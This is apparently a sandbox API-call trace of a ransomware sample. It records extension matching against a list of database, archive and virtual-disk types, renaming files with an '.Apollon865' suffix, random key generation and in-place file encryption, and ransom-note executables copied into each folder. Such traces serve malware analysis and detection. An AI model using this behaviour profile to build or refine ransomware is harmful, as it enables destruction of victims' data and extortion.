	[0079.363] lstrlenW (lpString=".lnk") returned 4
	[0079.363] lstrcmpiW (lpString1="Unknown.Log", lpString2=".lnk") returned 1
	[0079.363] lstrlenW (lpString=".ini") returned 4
	[0079.363] lstrcmpiW (lpString1="Unknown.Log", lpString2=".ini") returned 1
	[0079.363] lstrlenW (lpString=".sys") returned 4
	[0079.363] lstrcmpiW (lpString1="Unknown.Log", lpString2=".sys") returned 1
	[0079.363] lstrlenW (lpString="Unknown.Log") returned 11
	[0079.363] lstrlenW (lpString="bak") returned 3
	[0079.363] lstrcmpiW (lpString1="Log", lpString2="bak") returned 1
	[0079.363] lstrlenW (lpString="ba_") returned 3
	[0079.363] lstrcmpiW (lpString1="Log", lpString2="ba_") returned 1
	[0079.363] lstrlenW (lpString="dbb") returned 3
	[0079.363] lstrcmpiW (lpString1="Log", lpString2="dbb") returned 1
	[0079.363] lstrlenW (lpString="vmdk") returned 4
	[0079.363] lstrcmpiW (lpString1=".Log", lpString2="vmdk") returned -1
	[0079.363] lstrlenW (lpString="rar") returned 3
	[0079.363] lstrcmpiW (lpString1="Log", lpString2="rar") returned -1
	[0079.363] lstrlenW (lpString="zip") returned 3
	[0079.363] lstrcmpiW (lpString1="Log", lpString2="zip") returned -1
	[0079.363] lstrlenW (lpString="tgz") returned 3
	[0079.363] lstrcmpiW (lpString1="Log", lpString2="tgz") returned -1
	[0079.363] lstrlenW (lpString="vbox") returned 4
	[0079.363] lstrcmpiW (lpString1=".Log", lpString2="vbox") returned -1
	[0079.363] lstrlenW (lpString="vdi") returned 3
	[0079.363] lstrcmpiW (lpString1="Log", lpString2="vdi") returned -1
	[0079.363] lstrlenW (lpString="vhd") returned 3
	[0079.363] lstrcmpiW (lpString1="Log", lpString2="vhd") returned -1
	[0079.363] lstrlenW (lpString="vhdx") returned 4
	[0079.363] lstrcmpiW (lpString1=".Log", lpString2="vhdx") returned -1
	[0079.363] lstrlenW (lpString="avhd") returned 4
	[0079.363] lstrcmpiW (lpString1=".Log", lpString2="avhd") returned -1
	[0079.363] lstrlenW (lpString="db") returned 2
	[0079.364] lstrcmpiW (lpString1="og", lpString2="db") returned 1
	[0079.364] lstrlenW (lpString="db2") returned 3
	[0079.364] lstrcmpiW (lpString1="Log", lpString2="db2") returned 1
	[0079.364] lstrlenW (lpString="db3") returned 3
	[0079.364] lstrcmpiW (lpString1="Log", lpString2="db3") returned 1
	[0079.364] lstrlenW (lpString="dbf") returned 3
	[0079.364] lstrcmpiW (lpString1="Log", lpString2="dbf") returned 1
	[0079.364] lstrlenW (lpString="mdf") returned 3
	[0079.364] lstrcmpiW (lpString1="Log", lpString2="mdf") returned -1
	[0079.364] lstrlenW (lpString="mdb") returned 3
	[0079.364] lstrcmpiW (lpString1="Log", lpString2="mdb") returned -1
	[0079.364] lstrlenW (lpString="sql") returned 3
	[0079.364] lstrcmpiW (lpString1="Log", lpString2="sql") returned -1
	[0079.364] lstrlenW (lpString="sqlite") returned 6
	[0079.364] lstrcmpiW (lpString1="wn.Log", lpString2="sqlite") returned 1
	[0079.364] lstrlenW (lpString="sqlite3") returned 7
	[0079.364] lstrcmpiW (lpString1="own.Log", lpString2="sqlite3") returned -1
	[0079.364] lstrlenW (lpString="sqlitedb") returned 8
	[0079.364] lstrcmpiW (lpString1="nown.Log", lpString2="sqlitedb") returned -1
	[0079.364] lstrlenW (lpString="xml") returned 3
	[0079.364] lstrcmpiW (lpString1="Log", lpString2="xml") returned -1
	[0079.364] lstrlenW (lpString="$er") returned 3
	[0079.364] lstrcmpiW (lpString1="Log", lpString2="$er") returned 1
	[0079.364] lstrlenW (lpString="4dd") returned 3
	[0079.364] lstrcmpiW (lpString1="Log", lpString2="4dd") returned 1
	[0079.364] lstrlenW (lpString="4dl") returned 3
	[0079.364] lstrcmpiW (lpString1="Log", lpString2="4dl") returned 1
	[0079.364] lstrlenW (lpString="^^^") returned 3
	[0079.364] lstrcmpiW (lpString1="Log", lpString2="^^^") returned 1
	[0079.364] lstrlenW (lpString="abs") returned 3
	[0079.364] lstrcmpiW (lpString1="Log", lpString2="abs") returned 1
	[0079.364] lstrlenW (lpString="abx") returned 3
	[0079.364] lstrcmpiW (lpString1="Log", lpString2="abx") returned 1
	[0079.364] lstrlenW (lpString="accdb") returned 5
	[0079.364] lstrcmpiW (lpString1="n.Log", lpString2="accdb") returned 1
	[0079.364] lstrlenW (lpString="accdc") returned 5
	[0079.364] lstrcmpiW (lpString1="n.Log", lpString2="accdc") returned 1
	[0079.364] lstrlenW (lpString="accde") returned 5
	[0079.364] lstrcmpiW (lpString1="n.Log", lpString2="accde") returned 1
	[0079.365] lstrlenW (lpString="accdr") returned 5
	[0079.365] lstrcmpiW (lpString1="n.Log", lpString2="accdr") returned 1
	[0079.365] lstrlenW (lpString="accdt") returned 5
	[0079.365] lstrcmpiW (lpString1="n.Log", lpString2="accdt") returned 1
	[0079.365] lstrlenW (lpString="accdw") returned 5
	[0079.365] lstrcmpiW (lpString1="n.Log", lpString2="accdw") returned 1
	[0079.365] lstrlenW (lpString="accft") returned 5
	[0079.365] lstrcmpiW (lpString1="n.Log", lpString2="accft") returned 1
	[0079.365] lstrlenW (lpString="adb") returned 3
	[0079.365] lstrcmpiW (lpString1="Log", lpString2="adb") returned 1
	[0079.365] lstrlenW (lpString="adb") returned 3
	[0079.365] lstrcmpiW (lpString1="Log", lpString2="adb") returned 1
	[0079.365] lstrlenW (lpString="ade") returned 3
	[0079.365] lstrcmpiW (lpString1="Log", lpString2="ade") returned 1
	[0079.365] lstrlenW (lpString="adf") returned 3
	[0079.365] lstrcmpiW (lpString1="Log", lpString2="adf") returned 1
	[0079.365] lstrlenW (lpString="adn") returned 3
	[0079.365] lstrcmpiW (lpString1="Log", lpString2="adn") returned 1
	[0079.365] lstrlenW (lpString="adp") returned 3
	[0079.365] lstrcmpiW (lpString1="Log", lpString2="adp") returned 1
	[0079.365] lstrlenW (lpString="alf") returned 3
	[0079.365] lstrcmpiW (lpString1="Log", lpString2="alf") returned 1
	[0079.365] lstrlenW (lpString="ask") returned 3
	[0079.365] lstrcmpiW (lpString1="Log", lpString2="ask") returned 1
	[0079.365] lstrlenW (lpString="btr") returned 3
	[0079.365] lstrcmpiW (lpString1="Log", lpString2="btr") returned 1
	[0079.365] lstrlenW (lpString="cat") returned 3
	[0079.365] lstrcmpiW (lpString1="Log", lpString2="cat") returned 1
	[0079.365] lstrlenW (lpString="cdb") returned 3
	[0079.365] lstrcmpiW (lpString1="Log", lpString2="cdb") returned 1
	[0079.365] lstrlenW (lpString="ckp") returned 3
	[0079.365] lstrcmpiW (lpString1="Log", lpString2="ckp") returned 1
	[0079.365] lstrlenW (lpString="cma") returned 3
	[0079.365] lstrcmpiW (lpString1="Log", lpString2="cma") returned 1
	[0079.365] lstrlenW (lpString="cpd") returned 3
	[0079.365] lstrcmpiW (lpString1="Log", lpString2="cpd") returned 1
	[0079.365] lstrlenW (lpString="dacpac") returned 6
	[0079.365] lstrcmpiW (lpString1="wn.Log", lpString2="dacpac") returned 1
	[0079.365] lstrlenW (lpString="dad") returned 3
	[0079.366] lstrcmpiW (lpString1="Log", lpString2="dad") returned 1
	[0079.366] lstrlenW (lpString="dadiagrams") returned 10
	[0079.366] lstrcmpiW (lpString1="nknown.Log", lpString2="dadiagrams") returned 1
	[0079.366] lstrlenW (lpString="daschema") returned 8
	[0079.366] lstrcmpiW (lpString1="nown.Log", lpString2="daschema") returned 1
	[0079.366] lstrlenW (lpString="db-journal") returned 10
	[0079.366] lstrcmpiW (lpString1="nknown.Log", lpString2="db-journal") returned 1
	[0079.366] lstrlenW (lpString="db-shm") returned 6
	[0079.366] lstrcmpiW (lpString1="wn.Log", lpString2="db-shm") returned 1
	[0079.366] lstrlenW (lpString="db-wal") returned 6
	[0079.366] lstrcmpiW (lpString1="wn.Log", lpString2="db-wal") returned 1
	[0079.366] lstrlenW (lpString="dbc") returned 3
	[0079.366] lstrcmpiW (lpString1="Log", lpString2="dbc") returned 1
	[0079.366] lstrlenW (lpString="dbs") returned 3
	[0079.366] lstrcmpiW (lpString1="Log", lpString2="dbs") returned 1
	[0079.366] lstrlenW (lpString="dbt") returned 3
	[0079.366] lstrcmpiW (lpString1="Log", lpString2="dbt") returned 1
	[0079.366] lstrlenW (lpString="dbv") returned 3
	[0079.366] lstrcmpiW (lpString1="Log", lpString2="dbv") returned 1
	[0079.366] lstrlenW (lpString="dbx") returned 3
	[0079.366] lstrcmpiW (lpString1="Log", lpString2="dbx") returned 1
	[0079.366] lstrlenW (lpString="dcb") returned 3
	[0079.366] lstrcmpiW (lpString1="Log", lpString2="dcb") returned 1
	[0079.366] lstrcmpiW (lpString1="Log", lpString2="dct") returned 1
	[0079.367] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log.Apollon865") returned 90
	[0079.367] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\unknown.log"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\unknown.log.apollon865"), dwFlags=0x1) returned 1
	[0079.371] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\service\\unknown.log.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0079.371] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=6790) returned 1
	[0079.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0079.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0079.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0079.371] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0079.372] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0079.372] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0079.372] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d90, lpName=0x0) returned 0x15c
	[0079.374] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d90) returned 0x100000
	[0079.375] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0079.376] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0079.376] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0079.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0079.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0079.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0079.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0079.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0079.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0079.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0079.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0079.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0079.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0079.376] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0079.376] CloseHandle (hObject=0x15c) returned 1
	[0079.376] CloseHandle (hObject=0x9c) returned 1
	[0079.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0079.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0079.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0079.377] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadeed740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xadeed740, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x2d1f02a0, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x1a86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Unknown.Log", cAlternateFileName="")) returned 0
	[0079.377] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.377] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc50
	[0079.377] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results"
	[0079.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8fb8 | out: hHeap=0x580000) returned 1
	[0079.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0079.377] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results") returned 67
	[0079.377] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results"
	[0079.377] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.377] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.377] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.378] GetLastError () returned 0x0
	[0079.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.378] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.378] CloseHandle (hObject=0x10c) returned 1
	[0079.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.378] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.378] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.378] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.378] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.378] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.378] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.378] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.378] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.378] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.378] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.378] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f873fb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.378] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.378] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1
	[0079.378] lstrcmpiW (lpString1="Resource", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.378] lstrcmpiW (lpString1="Resource", lpString2="Apollon865.txt.exe") returned 1
	[0079.379] lstrcmpiW (lpString1="Resource", lpString2=".") returned 1
	[0079.379] lstrcmpiW (lpString1="Resource", lpString2="..") returned 1
	[0079.379] lstrcmpiW (lpString1="Resource", lpString2="windows") returned -1
	[0079.379] lstrcmpiW (lpString1="Resource", lpString2="bootmgr") returned 1
	[0079.379] lstrcmpiW (lpString1="Resource", lpString2="temp") returned -1
	[0079.379] lstrcmpiW (lpString1="Resource", lpString2="pagefile.sys") returned 1
	[0079.379] lstrcmpiW (lpString1="Resource", lpString2="boot") returned 1
	[0079.379] lstrcmpiW (lpString1="Resource", lpString2="ids.txt") returned 1
	[0079.379] lstrcmpiW (lpString1="Resource", lpString2="ntuser.dat") returned 1
	[0079.379] lstrcmpiW (lpString1="Resource", lpString2="perflogs") returned 1
	[0079.379] lstrcmpiW (lpString1="Resource", lpString2="MSBuild") returned 1
	[0079.379] lstrlenW (lpString="Resource") returned 8
	[0079.379] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*") returned 69
	[0079.379] lstrcpyW (in: lpString1=0x119e690, lpString2="Resource" | out: lpString1="Resource") returned="Resource"
	[0079.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0079.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9a) returned 0x5cafd0
	[0079.379] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc50 | out: ListHead=0x5b75f0, ListEntry=0x59fc50) returned 0x59fc30
	[0079.379] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 0
	[0079.379] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.379] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc50
	[0079.379] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource"
	[0079.379] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafd0 | out: hHeap=0x580000) returned 1
	[0079.379] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0079.379] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource") returned 76
	[0079.379] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource"
	[0079.379] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.379] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\history\\results\\resource\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.380] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.380] GetLastError () returned 0x0
	[0079.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.380] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.380] CloseHandle (hObject=0x10c) returned 1
	[0079.380] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.380] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.380] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.380] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.380] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.380] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.380] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f873fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.381] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.381] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.381] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.381] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.381] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f873fb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f873fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.381] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.381] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80be8ad0, ftCreationTime.dwHighDateTime=0x1d33740, ftLastAccessTime.dwLowDateTime=0x80be8ad0, ftLastAccessTime.dwHighDateTime=0x1d33740, ftLastWriteTime.dwLowDateTime=0x81085570, ftLastWriteTime.dwHighDateTime=0x1d33740, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", cAlternateFileName="{1D1DB~1")) returned 1
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="Apollon865.txt.exe") returned -1
	[0079.381] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2=".") returned 1
